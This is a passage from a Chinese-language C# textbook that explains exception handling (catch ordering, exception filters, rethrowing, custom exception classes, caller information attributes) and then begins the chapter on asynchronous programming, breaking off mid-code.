接着查看第二个catch块,显然它可以处理这类异常,因为FormatException异常类派生于 Exception异常类,所以把FormatException异常类的实例作为参数传递给它。 该示例的这种结构是非常典型的多catch块结构。最先编写的catch块用于处理非常特 殊的错误情况,接着是比较一般的块,它们可以处理任何错误,我们没有为它们编写特定 的错误处理程序。实际上,catch块的顺序很重要,如果以相反的顺序编写这两个块,代 码就不会编译,因为第二个catch块是不会执行的(Exception catch块会捕获所有异常)。 因此,最上面的catch块应用于最特殊的异常情况,最后是最一般的catch块。 前面分析了该示例的代码,现在可以运行它。下面的输出说明了不同的输入会得到不 同的结果,并说明抛出了IndexOutOfRangeException异常和FormatException异常: SimpleExceptions Input a number between 0 and 5 (or just hit return to exit)> 4 Your number was 4 Thank you Input a number between 0 and 5 (or just hit return to exit)> 0 Your number was 0 Thank you Input a number between 0 and 5 (or just hit return to exit)> 10 Exception: Number should be between 0 and 5. You typed in 10 Thank you Input a number between 0 and 5 (or just hit return to exit)> hello An exception was thrown. Message was: Input string was not in a correct forma t. Thank you Input a number between 0 and 5 (or just hit return to exit)> Thank you 14.3.2 在其他代码中捕获异常 上面的示例说明了两个异常的处理。一个是IndexOutOfRangeException异常,它由我 们自己的代码抛出,另一个是FormatException异常,它由一个基类抛出。如果检测到错 误,或者某个方法因传递的参数有误而被错误调用,库中的代码就常常会抛出一个异常。 但库中的代码很少捕获这样的异常。应由客户端代码来决定如何处理这些问题。 在调试时,异常经常从基类库中抛出,调试的过程在某种程度上是确定异常抛出的原 因,并消除导致错误发生的缘由。主要目标是确保代码在发布后,异常只发生在非常少见 的情况下,如果可能,应在代码中以适当的方式处理它。 14.3.3 System.Exception属性 本示例只使用了异常对象的一个Message属性。在System.Exception异常类中还有许多 其他属性,如表14-1所示。 表14-1 属性 说明 Data 这个属性可以给异常添加键/值语句,以提供关于异常的额 外信息 HelpLink 链接到一个帮助文件上,以提供关于该异常的更多信息 InnerException 如果此异常是在catch块中抛出的,它就会包含把代码发送 到catch块中的异常对象 Message 描述错误情况的文本 Source 导致异常的应用程序名或对象名 StackTrace 栈上方法调用的详细信息,它有助于跟踪抛出异常的方法 在这些属性中,如果可以进行栈跟踪,则StackTrace的属性值由.NET运行库自动提 供。Source属性总是由.NET运行库填充为抛出异常的程序集的名称(但可以在代码中修改 该属性,提供更具体的信息), Data、Message、HelpLink和InnerException属性必须在抛出 异常的代码中填充,方法是在抛出异常前设置这些属性。例如,抛出异常的代码如下所 示: if (ErrorCondition == true) { var myException = new ClassMyException("Help! ! ! ! "); myException.Source = "My Application Name"; myException.HelpLink = "MyHelpFile.txt"; myException.Data["ErrorDate"] = DateTime.Now; myException.Data.Add("AdditionalInfo", "Contact Bill from the Blue Team"); throw myException; } 其中,ClassMyException是抛出的异常类的名称。注意所有异常类的名称通常以 Exception结尾。另外,Data属性可以用两种方式设置。 14.3.4 异常过滤器 C# 6的一个新特性是异常过滤器。捕获不同的异常类型时,可以有行为不同的catch 块。在某些情况下,catch块基于异常的内容执行不同的操作。例如,使用Windows运行库 时,所有不同类型的异常通常都会得到COM异常,在执行网络调用时,许多不同的场景 都会得到网络异常。例如,如果服务器不可用,或提供的数据不符合期望。以不同的方式 应对这些错误是好事。一些异常可以用不同的方式恢复,而在另外一些异常中,用户可能 需要一些信息。 下面的代码示例抛出类型MyCustomException的异常,设置这个异常的ErrorCode属性 (代码文件ExceptionFilters/Program.cs): public static void ThrowWithErrorCode(int code) { throw new MyCustomException("Error in Foo") { ErrorCode = code }; } 在Main()方法中,try块和两个catch块保护方法调用。第一个catch块使用when关键 字过滤出ErrorCode属性等于405的异常。when子句的表达式需要返回一个布尔值。如果结 果是true,这个catch块就处理异常。如果它是false,就寻找其他catch块。给 ThrowWithErrorCode()方法传递405,过滤器就返回true,第一个catch块处理异常。传 递另一个值,过滤器就返回false,第二个catch块处理异常。使用过滤器,可以使用多个处 理程序来处理相同的异常类型。 当然也可以删除第二个catch块,此时就不处理该情形下出现的异常。 try { ThrowWithErrorCode(405); } catch (MyCustomException ex) when (ex.ErrorCode == 405) { WriteLine($"Exception caught with filter {ex.Message} and {ex.ErrorCode}"); } catch (MyCustomException ex) { WriteLine($"Exception caught {ex.Message} and {ex.ErrorCode}"); } 14.3.5 重新抛出异常 捕获异常时,重新抛出异常也是非常普遍的。再次抛出异常时,可以改变异常的类 型。这样,就可以给调用程序提供所发生的更多信息。原始异常可能没有上下文的足够信 息。还可以记录异常信息,并给调用程序提供不同的信息。例如,为了让用户运行应用程 序,异常信息并没有真正的帮助。阅读日志文件的系统管理员可以做出相应的反应。 重新抛出异常的一个问题是,调用程序往往需要通过以前的异常找出其发生的原因和 地点。根据异常的抛出方式,堆栈跟踪信息可能会丢失。为了看到重新抛出异常的不同选 项,示例程序RethrowExceptions显示了不同的选项。 重新抛出异常的代码示例使用了以下依赖项和名称空间: 依赖项: NETStandard.Library 名称空间: System static System.Console 对于此示例,创建了两个自定义的异常类型。第一个是MyCustomException,除了基 类Exception的成员之外,定义了属性ErrorCode,第二个是AnotherCustomException,支持 传递一个内部异常(代码文件RethrowExceptions /MyCustomException.cs): public class MyCustomException : Exception { public MyCustomException(string message) : base(message) { } public int ErrorCode { get; set; } } public class AnotherCustomException : Exception { public AnotherCustomException(string message, Exception innerException) : base(message, innerException) { } } HandleAll()方法调用HandleAndThrowAgain、 HandleAndThrowWithInnerException、HandleAnd-Rethrow()和HandleWithFilter()方 法。捕获抛出的异常,把异常消息和堆栈跟踪写到控制台。为了更好地从堆栈跟踪中找到 所引用的行号,使用预处理器指令#line,重新编号。这样,采用委托m调用的方法就在 114行(代码文件RethrowExceptions / Program.cs): #line 100 public static void HandleAll() { var methods = new Action[] { HandleAndThrowAgain, HandleAndThrowWithInnerException, HandleAndRethrow, HandleWithFilter }; foreach (var m in methods) { try { m(); // line 114 } catch (Exception ex) { WriteLine(ex.Message); WriteLine(ex.StackTrace); if (ex.InnerException ! = null) { WriteLine($"\tInner Exception{ex.Message}"); WriteLine(ex.InnerException.StackTrace); } WriteLine(); } } } ThrowAnException方法用于抛出第一个异常。这个异常在8002行抛出。在开发期间, 它有助于知道这个异常在哪里抛出: #line 8000 public static void ThrowAnException(string message) { throw new MyCustomException(message); // line 8002 } 1.重新抛出异常的新用法 方法HandleAndThrowAgain只是把异常记录到控制台,并使用throw ex再次抛出它: #line 4000 public static void HandleAndThrowAgain() { try { ThrowAnException("test 1"); } catch (Exception ex) { WriteLine($"Log exception {ex.Message} and throw again"); throw ex; // you shouldn't do that - line 4009 } } 运行应用程序,简化的输出是显示堆栈跟踪(代码文件没有名称空间和完整的路 径),代码如下: Log exception test 1 and throw again test 1 at Program.HandleAndThrowAgain() in Program.cs:line 4009 at Program.HandleAll() in Program.cs:line 114 堆栈跟踪显示了在HandleAll方法中调用m()方法,进而调用 HandleAndThrowAgain()方法。异常最初在哪里抛出的信息完全丢失在最后一个catch的 调用堆栈中。于是很难找到错误的初始原因。通常必要传送异常对象,使用throw抛出同 一个异常。 2.改变异常 一个有用的场景是改变异常的类型,并添加错误信息。这在 HandleAndThrowWithInnerException()方法中完成。记录错误之后,抛出一个新的异常 类型AnotherException,传递ex作为内部异常: #line 3000 public static void HandleAndThrowWithInnerException() { try { ThrowAnException("test 2"); // line 3004 } catch (Exception ex) { WriteLine($"Log exception {ex.Message} and throw again"); throw new AnotherCustomException("throw with inner exception", ex) ; // 3009 } } 检查外部异常的堆栈跟踪,会看到行号3009和114,与前面相似。然而,内部异常给 出了错误的最初原因。它给出调用了错误方法的行号(3004)和抛出最初(内部)异常的 行号(8002): Log exception test 2 and throw again throw with inner exception at Program.HandleAndThrowWithInnerException() in Program.cs:line 3009 at Program.HandleAll() in Program.cs:line 114 Inner Exception throw with inner exception at Program.ThrowAnException(String message) in Program.cs:line 8002 at Program.HandleAndThrowWithInnerException() in Program.cs:line 3004 这样不会丢失信息。  注意: 试图找到错误的原因时,看看内部异常是否存在。这往往会提供有用 的信息。  注意: 捕获异常时,最好在重新抛出时改变异常。例如,捕获SqlException 异常,可以导致抛出与业务相关的异常,例如,InvalidIsbnException。 3.重新抛出异常 如果不应该改变异常的类型,就可以使用throw语句重新抛出相同的异常。使用throw 但不传递异常对象,会抛出catch块的当前异常,并保存异常信息: #line 2000 public static void HandleAndRethrow() { try { ThrowAnException("test 3"); } catch (Exception ex) { WriteLine($"Log exception {ex.Message} and rethrow"); throw; // line 2009 } } 有了这些代码,堆栈信息就不会丢失。异常最初是在8002行抛出,在第2009行重新抛 出。行114包含调用HandleAndRethrow的委托m: Log exception test 3 and rethrow test 3 at Program.ThrowAnException(String message) in Program.cs:line 8002 at Program.HandleAndRethrow() in Program.cs:line 2009 at Program.HandleAll() in Program.cs:line 114 4.使用过滤器添加功能 使用throw语句重新抛出异常时,调用堆栈包含抛出的地址。使用异常过滤器,可以 根本不改变调用堆栈。现在添加when关键字,传递过滤器方法。这个过滤器方法Filter记 录消息,总是返回false。这就是为什么catch块永远不会调用的原因: #line 1000 public void HandleWithFilter() { try { ThrowAnException("test 4"); // line 1004 } catch (Exception ex) when(Filter(ex) ) { WriteLine("block never invoked"); } } #line 1500 public bool Filter(Exception ex) { WriteLine($"just log {ex.Message}"); return false; } 现在看看堆栈跟踪,异常起源于HandleAll方法的第114行,它调用HandleWithFilter, 第1004行包含ThrowAnException的调用,第8002行抛出了异常: just log test 4 test 4 at Program.ThrowAnException(String message) in Program.cs:line 8002 at Program.HandleWithFilter() in Program.cs:line 1004 at RethrowExceptions.Program.HandleAll() in Program.cs:line 114  注意: 异常过滤器的主要用法是基于值异常的过滤异常。异常过滤器也可以 用于其他效果,比如写入日志信息,但不改变调用堆栈。然而,异常过滤器应该运行 很快,所以应该只做简单的检查。 14.3.6 没有处理异常时发生的情况 有时抛出了一个异常后,代码中没有catch块能处理这类异常。前面的 SimpleExceptions示例就说明了这种情况。例如,假定忽略FormatException异常和通用的 catch块,则只有捕获IndexOutOfRange-Exception异常的块。此时,如果抛出一个 FormatException异常,会发生什么情况呢? 答案是.NET运行库会捕获它。本节后面将介绍如何嵌套try块——实际上在本示例 中,就有一个在后台处理的嵌套的try块。.NET运行库把整个程序放在另一个更大的try块 中,对于每个.NET程序它都会这么做。这个try块有一个catch处理程序,它可以捕获任何 类型的异常。如果出现代码没有处理的异常,程序流就会退出程序,由.NET运行库中的 catch块捕获它。但是,事与愿违。代码的执行会立即终止,并给用户显示一个对话框, 说明代码没有处理异常,并给出.NET运行库能检索到的关于异常的详细信息。至少异常 会被捕获。 一般情况下,如果编写一个可执行程序,就应捕获尽可能多的异常,并以合理的方式 处理它们。如果编写一个库,最好捕获可以用有效方式处理的异常,或者在上下文中添加 额外的信息,抛出其他异常类型,如上一节所示。假定调用代码可以处理它遇到的任何错 误。 14.4 用户定义的异常类 上一节创建了一个用户定义的异常。下面介绍有关异常的第二个示例,这个示例称为 SolicitColdCall,它包含两个嵌套的try块,说明了如何定义自定义异常类,再从try块中抛 出另一个异常。 这个示例假定一家销售公司希望有更多的客户。该公司的销售部门打算给一些人打电 话,希望他们成为自己的客户。用销售行业的行话来讲,就是“陌生电话”(cold- calling)。为此,应有一个文本文件存储这些陌生人的姓名,该文件应有良好的格式,其 中第一行包含文件中的人数,后面的行包含这些人的姓名。换言之,正确的格式如下所 示。 4 George Washington Benedict Arnold John Adams Thomas Jefferson 这个示例的目的是在屏幕上显示这些人的姓名(由销售人员读取),这就是为什么只 把姓名放在文件中,但没有电话号码的原因。 程序要求用户输入文件的名称,然后读取文件,并显示其中的人名。这听起来是一个 很简单的任务,但也会出现两个错误,需要退出整个过程: ● 用户可能输入不存在的文件名。这作为FileNotFound异常来捕获。 ● 文件的格式可能不正确,这里可能有两个问题。首先,文件的第一行不是整数。第 二,文件中可能没有第一行指定的那么多人名。这两种情况都需要在一个自定义 异常中处理,我们已经专门为此编写了ColdCallFileFormatException异常。 还会有其他问题,虽然不至于退出整个过程,但需要删除某个人名,继续处理文件中 的下一个人名(因此这需要在内层的try块中处理)。一些人是商业间谍,为销售公司的 竞争对手工作,显然,我们不希望不小心打电话给他们,让这些人知道我们要做的工作。 为简单起见,假设姓名以B开头的那些人是商业间谍。这些人应在第一次准备数据文件时 从文件中删除,但为防止有商业间谍混入,需要检查文件中的每个姓名,如果检测到一个 商业间谍,就应抛出一个SalesSpyFoundException异常,当然,这是另一个自定义异常对 象。 最后,编写一个类ColdCallFileReader来实现这个示例,该类维护与cold-call文件的连 接,并从中检索数据。我们将以非常安全的方式编写这个类,如果其方法调用不正确,就 会抛出异常。例如,如果在文件打开前,调用了读取文件的方法,就会抛出一个异常。为 此,我们编写了另一个异常类UnexpectedException。 14.4.1 捕获用户定义的异常 用户自定义异常的代码示例使用了如下依赖项和名称空间: 依赖项: NETStandard.Library 名称空间: System System.IO static System.Console 首先是SolicitColdCall示例的Main()方法,它捕获用户定义的异常。注意,下面要 调用System.IO名称空间和System名称空间中的文件处理类(代码文件 SolicitColdCall/Program.cs)。 using System; using System.IO; using static System.Console; namespace Wrox.ProCSharp.ErrorsAndExceptions { public class Program { public static void Main() { Write("Please type in the name of the file " + "containing the names of the people to be cold called > "); string fileName = ReadLine(); ColdCallFileReaderLoop1(fileName); WriteLine(); ReadLine(); } public static ColdCallfFileReaderLoop1(string filename) { var peopleToRing = new ColdCallFileReader(); try { peopleToRing.Open(fileName); for (int i = 0; i < peopleToRing.NPeopleToRing; i++) { peopleToRing.ProcessNextPerson(); } WriteLine("All callers processed correctly"); } catch(FileNotFoundException) { WriteLine($"The file {fileName} does not exist"); } catch(ColdCallFileFormatException ex) { WriteLine($"The file {fileName} appears to have been corrupted"); WriteLine($"Details of problem are: {ex.Message}"); if (ex.InnerException ! = null) { WriteLine($"Inner exception was: {ex.InnerException.Message}"); } } catch(Exception ex) { WriteLine($"Exception occurred:\n{ex.Message}"); } finally { peopleToRing.Dispose(); } } } 这段代码基本上只是一个循环,用来处理文件中的人名。开始时,先让用户输入文件 名,再实例化ColdCallFileReader类的一个对象,这个类稍后定义,正是这个类负责处理文 件中数据的读取。注意,是在第一个try块的外部读取文件——这是因为这里实例化的变 量需要在后面的catch块和finally块中使用,如果在try块中声明它们,它们在try块的闭合花 括号处就超出了作用域,这会导致异常。 在try块中打开文件(使用ColdCallFileReader.Open()方法),并循环处理其中的所 有人名。ColdCallFileReader.ProcessNextPerson()方法会读取并显示文件中的下一个人 名,而ColdCallFile-Reader.NpeopleToRing属性则说明文件中应有多少个人名(通过读取 文件的第一行来获得)。有3个catch块,其中两个分别用于处理FileNotFoundException和 ColdCallFileFormatException异常,第3个则用于处理任何其他.NET异常。 在FileNotFoundException异常中,我们会为它显示一条消息,注意在这个catch块中, 根本不会使用异常实例,原因是这个catch块用于说明应用程序的用户友好性。异常对象 一般会包含技术信息,这些技术信息对开发人员很有用,但对于最终用户来说则没有什么 用,所以本例将创建一条更简单的消息。 对于ColdCallFileFormatException异常的处理程序,则执行相反的操作,说明了如何 获得更完整的技术信息,包括内层异常的细节(如果存在内层异常)。 最后,如果捕获到其他一般异常,就显示一条用户友好消息,而不是让这些异常 由.NET运行库处理。注意,我们选择不处理没有派生自System.Exception异常类的异常, 因为不直接调用非.NET的代码。 finally块清理资源。在本例中,这是指关闭已打开的任何文件。 ColdCallFileReader.Dispose()方法完成了这个任务。  注意: C#提供了一个using语句,编译器自己会在使用该语句的地方创建一 个try/finally块,该块调用finally块中的Dispose方法。实现了一个Dispose方法的对象就 可以使用using语句。第5章详细介绍了using语句。 14.4.2 抛出用户定义的异常 下面看看处理文件读取,以及(可能)抛出用户定义的异常类ColdCallFileReader的定 义。因为这个类维护一个外部文件连接,所以需要确保它根据第4章有关释放对象的规 则,正确地释放它。这个类派生自IDisposable类。 首先声明一些私有字段(代码文件SolicitColdCall/ColdCallFileReader.cs): public class ColdCallFileReader: IDisposable { private FileStream _fs; private StreamReader _sr; private uint _nPeopleToRing; private bool _isDisposed = false; private bool _isOpen = false; FileStream和StreamReader都在System.IO名称空间中,它们都是用于读取文件的基 类。FileStream基类主要用于连接文件,StreamReader基类则专门用于读取文本文件,并 实现Readline()方法,该方法读取文件中的一行文本。第23章在深入讨论文件处理时将 讨论StreamReader基类。 isDisposed字段表示是否调用了Dispose()方法,我们选择实现ColdCallFileReader异 常,这样,一旦调用了Dispose()方法,就不能重新打开文件连接,重新使用对象了。 isOpen字段也用于错误检查——在本例中,检查StreamReader基类是否连接到打开的文件 上。 打开文件和读取第一行的过程——告诉我们文件中有多少个人名——由Open()方 法来处理: public void Open(string fileName) { if (_isDisposed) { throw new ObjectDisposedException("peopleToRing"); } _fs = new FileStream(fileName, FileMode.Open); _sr = new StreamReader(_fs); try { string firstLine = _sr.ReadLine(); _nPeopleToRing = uint.Parse(firstLine); _isOpen = true; } catch (FormatException ex) { throw new ColdCallFileFormatException( $"First line isn\'t an integer {ex}"); } } 与ColdCallFileReader异常类的所有其他方法一样,该方法首先检查在删除对象后,客 户端代码是否不正确地调用了它,如果是,就抛出一个预定义的ObjectDisposedException 异常对象。Open()方法也会检查isDisposed字段,看看是否已调用Dispose()方法。因 为调用Dispose()方法会告诉调用者现在已经处理完对象,所以,如果已经调用了 Dispose()方法,就说明有一个试图打开新文件连接的错误。 接着,这个方法包含前两个内层的try块,其目的是捕获因为文件的第一行没有包含 一个整数而抛出的任何错误。如果出现这个问题,.NET运行库就抛出一个 FormatException异常,该异常捕获并转换为一个更有意义的异常,这个更有意义的异常表 示cold-call文件的格式有问题。注意System.FormatException异常表示与基本数据类型相关 的格式问题,而不是与文件有关,所以在本例中它不是传递回主调例程的一个特别有用的 异常。新抛出的异常会被最外层的try块捕获。因为这里不需要清理资源,所以不需要 finally块。 如果一切正常,就把isOpen字段设置为true,表示现在有一个有效的文件连接,可以 从中读取数据。 ProcessNextPerson()方法也包含一个内层try块: public void ProcessNextPerson() { if (_isDisposed) { throw new ObjectDisposedException("peopleToRing"); } if (! _isOpen) { throw new UnexpectedException( "Attempted to access coldcall file that is not open"); } try { string name = _sr.ReadLine(); if (name == null) { throw new ColdCallFileFormatException("Not enough names"); } if (name[0] == 'B') { throw new SalesSpyFoundException(name); } WriteLine(name); } catch(SalesSpyFoundException ex) { WriteLine(ex.Message); } finally { } } 这里可能存在两个与文件相关的错误(假定实际上有一个打开的文件连接, ProcessNextPerson()方法会先进行检查)。第一,读取下一个人名时,可能发现这是一 个商业间谍。如果发生这种情况,在这个方法中就使用第一个catch块捕获异常。因为这 个异常已经在循环中被捕获,所以程序流会继续在程序的Main()方法中执行,处理文 件中的下一个人名。 如果读取下一个人名,发现已经到达文件的末尾,就会发生错误。StreamReader对象 的ReadLine()方法的工作方式是:如果到达文件末尾,它就会返回一个null,而不是抛 出一个异常。所以,如果找到一个null字符串,就说明文件的格式不正确,因为文件的第 一行中的数字要比文件中的实际人数多。如果发生这种错误,就抛出一个 ColdCallFileFormatException异常,它由外层的异常处理程序捕获(使程序终止执行)。 同样,这里不需要finally块,因为没有要清理的资源,但这次要放置一个空的finally 块,表示在这里可以完成用户希望完成的任务。 这个示例就要完成了。ColdCallFileReader异常类还有另外两个成员:NPeopleToRing 属性返回文件中应有的人数,Dispose()方法可以关闭已打开的文件。注意Dispose() 方法仅返回它是否被调用——这是实现该方法的推荐方式。它还检查在关闭前是否有一个 文件流要关闭。这个例子说明了防御编码技术: public uint NPeopleToRing { get { if (_isDisposed) { throw new ObjectDisposedException("peopleToRing"); } if (! _isOpen) { throw new UnexpectedException( "Attempted to access cold¨Ccall file that is not open"); } return _nPeopleToRing; } } public void Dispose() { if (_isDisposed) { return; } _isDisposed = true; _isOpen = false; _fs? .Dispose(); _fs = null; } 14.4.3 定义用户定义的异常类 最后,需要定义3个异常类。定义自己的异常非常简单,因为几乎不需要添加任何额 外的方法。只需要实现构造函数,确保基类的构造函数正确调用即可。下面是实现 SalesSpyFoundException异常类的完整代码(代码文件 SolicitColdCall/SalesSpyFoundException.cs): public class SalesSpyFoundException: Exception { public SalesSpyFoundException(string spyName) : base($"Sales spy found, with name {spyName}") { } public SalesSpyFoundException(string spyName, Exception innerException) : base($"Sales spy found with name {spyName}", innerException) { } } 注意,这个类派生自Exception异常类,正是我们期望的自定义异常。实际上,如果 要更正式地创建它,可以把它放在一个中间类中,例如,ColdCallFileException异常类, 让它派生于Exception异常类,再从这个类派生出两个异常类,并确保处理代码可以很好 地控制哪个异常处理程序处理哪个异常即可。但为了使这个示例比较简单,就不这么做 了。 在SalesSpyFoundException异常类中,处理的内容要多一些。假定传送给它的构造函 数的信息仅是找到的间谍名,从而把这个字符串转换为含义更明确的错误信息。我们还提 供了两个构造函数,其中一个构造函数的参数只是一条消息,另一个构造函数的参数是一 个内层异常。在定义自己的异常类时,至少把这两个构造函数都包括进来(尽管以后将不 能在示例中使用SalesSpyFoundException异常类的第2个构造函数)。 对于ColdCallFileFormatException异常类,规则是一样的,但不必对消息进行任何处 理(代码文件SolicitColdCall/ColdCallFileFormatException.cs): public class ColdCallFileFormatException: Exception { public ColdCallFileFormatException(string message) : base(message) { } public ColdCallFileFormatException(string message, Exception innerException ) : base(message, innerException) { } } 最后是UnexpectedException异常类,它看起来与ColdCallFileFormatException异常类是 一样的(代码文件SolicitColdCall/UnexpectedException.cs): public class UnexpectedException: Exception { public UnexpectedException(string message) : base(message) { } public UnexpectedException(string message, Exception innerException) : base(message, innerException) { } } 下面准备测试该程序。首先,使用people.txt文件,其内容已经在前面列出了。 4 George Washington Benedict Arnold John Adams Thomas Jefferson 它有4个名字(与文件中第一行给出的数字匹配),包括一个间谍。接着,使用下面 的people2.txt文件,它有一个明显的格式错误: 49 George Washington Benedict Arnold John Adams Thomas Jefferson 最后,尝试执行该例子,但指定一个不存在的文件名people3.txt,对这3个文件名运行 程序3次,得到的结果如下: SolicitColdCall Please type in the name of the file containing the names of the people to be cold called > people.txt George Washington Sales spy found, with name Benedict Arnold John Adams Thomas Jefferson All callers processed correctly SolicitColdCall Please type in the name of the file containing the names of the people to be cold called > people2.txt George Washington Sales spy found, with name Benedict Arnold John Adams Thomas Jefferson The file people2.txt appears to have been corrupted. Details of the problem are: Not enough names SolicitColdCall Please type in the name of the file containing the names of the people to be cold called > people3.txt The file people3.txt does not exist. 最后,这个应用程序说明了处理程序中可能存在的错误和异常的许多不同方式。 14.5 调用者信息 在处理错误时,获得错误发生位置的信息常常是有帮助的。本章全面介绍的#line预处 理器指令用于改变代码的行号,获得调用堆栈的更好信息。为了从代码中获得行号、文件 名和成员名,可以使用C#编译器直接支持的特性和可选参数。这些特性包括 CallerLineNumber、CallerFilePath和CallerMemberName,它们定义在 System.Runtime.CompilerServices名称空间中,可以应用到参数上。对于可选参数,当没 有提供调用信息时,编译器会在调用方法时为它们使用默认值。有了调用者信息特性,编 译器不会填入默认值,而是填入行号、文件路径和成员名称。 代码示例CallerInformation使用如下依赖项和名称空间: 依赖项: NETStandard.Library 名称空间: System System.Runtime.CompilerServices static System.Console 下面代码段中的Log方法演示了这些特性的用法。这段代码将信息写入控制台中(代 码文件CallerInformation/Program.cs): public void Log([CallerLineNumber] int line = -1, [CallerFilePath] string path = null, [CallerMemberName] string name = null) { WriteLine((line < 0) ? "No line" : "Line " + line); WriteLine((path == null) ? "No file path" : path); WriteLine((name == null) ? "No member name" : name); WriteLine(); } 下面在几种不同的场景中调用该方法。在下面的Main方法中,分别使用Program类的 一个实例来调用Log方法,在属性的set访问器中调用Log方法,以及在一个lambda表达式 中调用Log方法。这里没有为该方法提供参数值,所以编译器会为其填入值: public static void Main() { var p = new Program(); p.Log(); p.SomeProperty = 33; Action a1 = () => p.Log(); a1(); } private int _someProperty; public int SomeProperty { get { return _someProperty; } set { Log(); _someProperty = value; } } 运行此程序的结果如下所示。在调用Log方法的地方,可以看到行号、文件名和调用 者的成员名。对于Main方法中调用的Log方法,成员名为Main。对于属性SomeProperty的 set访问器中调用的Log方法,成员名为SomeProperty。lambda表达式中的Log方法没有显示 生成的方法名,而是显示了调用该lambda表达式的方法的名称(Main),这当然更加有 用。 Line 12 c:\ProCSharp\ErrorsAndExceptions\CallerInformation\Program.cs Main Line 26 c:\ProCSharp\ErrorsAndExceptions\CallerInformation\Program.cs SomeProperty Line 14 c:\ProCSharp\ErrorsAndExceptions\CallerInformation\Program.cs Main 在构造函数中使用Log方法时,调用者成员名显示为ctor。在析构函数中,调用者成 员名为Finalize,因为它是生成的方法的名称。  注意: CallerMemberName的一个很好的用途是用在INotifyPropertyChanged接 口的实现中。该接口要求在方法的实现中传递属性的名称。在本书中的几个章节中都 可以看到这个接口的实现,例如第31章。 14.6 小结 本章介绍了C#通过异常处理错误情况的多种机制,我们不仅可以输出代码中的一般 错误代码,还可以用指定的方式处理最特殊的错误情况。有时一些错误情况是通过.NET Framework本身提供的,有时则需要编写自己的错误情况,如本章的例子所示。在这两种 情况下,都可以采用许多方式来保护应用程序的工作流,使之不出现不必要和危险的错 误。 第15章 异步编程 本章要点 ● 异步编程的重要性 ● 异步模式 ● async和await关键字的基础 ● 创建和使用异步方法 ● 异步方法的错误处理 ● 取消长时间运行的任务 本章源代码下载地址(wrox.com): 打开网页www.wrox.com/go/professionalcsharp6,单击Download Code选项卡即可下载 本章源代码。本章代码分为以下几个主要的示例文件: ● Async Patterns(异步模式) ● Foundations(async和await关键字) ● ErrorHandling(异步方法的错误处理) 15.1 异步编程的重要性 C# 6添加了许多新的关键字,而C# 5.0仅增加两个新的关键字:async和await。这两 个关键字将是本章的重点。 使用异步编程,方法调用是在后台运行(通常在线程或任务的帮助下),并且不会阻 塞调用线程。 本章将学习3种不同模式的异步编程:异步模式、基于事件的异步模式和基于任务的 异步模式(Task-based Asynchronous Pattern, TAP)。TAP是利用async和await关键字来实 现的。通过这里的比较,将认识到异步编程新模式的真正优势。 讨论过不同的模式之后,通过创建任务和使用异步方法,来介绍异步编程的基础知 识。还会论述延续任务和同步上下文的相关内容。 与异步任务一样,错误处理也需要特别重视。有些错误要采用不同的处理方式。 在本章的最后,讨论了如何取消正在执行的任务。如果后台任务执行时间较长,就有 可能需要取消任务。对于如何取消,也将在本章学习到相关内容。 第21和22章介绍了并行编程的相关内容。 如果应用程序没有立刻响应用户的请求,会让用户反感。用鼠标操作,我们习惯了出 现延迟,过去几十年都是这样操作的。有了触摸UI,应用程序要求立刻响应用户的请 求。否则,用户就会不断重复同一个动作。 因为在旧版本的.NET Framework中用异步编程非常不方便,所以并没有总是这样 做。Visual Studio旧版本是经常阻塞UI线程的应用程序之一。例如,在Visual Studio 2010 中,打开一个包含数百个项目的解决方案,这意味可能需要等待很长的时间。自从Visual Studio 2012以来,情况就不一样了,因为项目都是在后台异步加载的,并且选中的项目会 优先加载。Visual Studio 2015的一个最新改进是NuGet包管理器不再实现为模式对话框。 新的NuGet包管理器可以异步加载包的信息,同时做其他工作。这是异步编程内置到 Visual Studio 2015中带来的重要变化之一。 很多.NET Framework的API都提供了同步版本和异步版本。因为同步版本的API用起 来更为简单,所以常常在不适合使用时也用了同步版本的API。在新的Windows运行库 (WinRT)中,如果一个API调用时间超过40ms,就只能使用其异步版本。自从C# 5开 始,异步编程和同步编程一样简单,所以用异步API应该不会有任何的障碍。 15.2 异步模式 在学习新的async和await关键字之前,先看看.NET Framework的异步模式。从.NET 1.0开始就提供了异步特性,而且.NET Framework的许多类都实现了一个或者多个异步模 式。委托类型也实现了异步模式。 因为在Windows Forms和WPF中,用异步模式更新界面非常复杂,所以.NET 2.0推出 了基于事件的异步模式。在这种模式中,事件处理程序是被拥有同步上下文的线程调用, 所以更新界面很容易用这种模式处理。在此之前,这种模式也称为异步组件模式。 在.NET 4.5中,推出了另外一种新的方式来实现异步编程:基于任务的异步模式 (TAP)。这种模式是基于Task类型,并通过async和await关键字来使用编译器功能。 为了了解async和await关键字的优势,第一个示例应用程序利用Windows Presentation Foundation(WPF)和网络编程来阐述异步编程的概况。如果没有WPF和网络编程的经 验,也不用失望。你同样能够按照这里的要领,掌握异步编程是如何实现的。下面的示例 演示了异步模式之间的差异。看完这些之后,通过一些简单的控制台应用程序,将学会异 步编程的基础知识。  注意: 第29章~31章、第34~36章详细介绍了WPF。第25章讨论了网络编 程。 下面的示例WPF应用程序演示了异步模式之间的差异,它利用了类库中的类型。该 应用程序用Bing和Flickr的服务在网络上寻找图片。用户可以输入一个搜索关键词来找到 图片,该搜索关键词通过一个简单HTTP请求发送到Bing和Flickr服务。 用户界面的设计来自Visual Studio设计器,如图15-1所示。在屏幕上方是一个文本输 入框,紧接着是几个开始搜索按钮或清除结果列表的按钮。左下方的控制区是一个 ListBox控件,用于显示所有找到的图片。右侧是一个Image控件,用更高的分辨率显示 ListBox控件中被选择的图片。 图15-1 为了能够理解示例应用程序,先从包含几个辅助类的类库AsyncLib开始。这些类用于 该WPF应用程序。 SearchItemResult类表示结果集合中的一项,用于显示图片、标题和图片来源。该类 仅定义了简单属性:Title、Url、ThumbnailUrl和Source。ThumbnailIUrl属性用于引用缩略 图片,Url属性包含到更大尺寸图片的链接。Title属性包含描述图片的文本。BindableBase 是SearchItemResult的基类。该基类通过实现INotifyPropertyChanged接口实现通知机制, WPF用其通过数据绑定进行更新(代码文件AsyncLib/SearchItemResult.cs): namespace Wrox.ProCSharp.Async { public class SearchItemResult : BindableBase { private string _title; public string Title { get { return _title; } set { SetProperty(ref _title, value); } } private string _url; public string Url { get { return _url; } set { SetProperty(ref _url, value); } } private string _thumbnailUrl; public string ThumbnailUrl { get { return _thumbnailUrl; } set { SetProperty(ref _thumbnailUrl, value); } } private string _source; public string Source { get { return _source; } set { SetProperty(ref _source, value); } } } } SearchInfo类是另外一个用于数据绑定的类。SearchTerm属性包含用于搜索该类型图 片的用户输入。List属性返回所有找到的图片列表,其类型为SearchItemResult(代码文件 AsyncLib/SearchInfo.cs): using 